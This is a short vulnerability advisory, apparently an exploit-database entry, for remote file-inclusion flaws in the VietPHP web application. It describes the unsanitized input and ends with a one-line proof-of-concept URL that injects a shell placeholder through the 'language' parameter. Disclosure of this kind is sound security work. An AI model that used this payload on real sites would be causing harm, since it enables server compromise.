VietPHP - 'index.php?language' Remote File Inclusion

source: https://www.securityfocus.com/bid/25226/info
  
VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/index.php??language=Sh3LL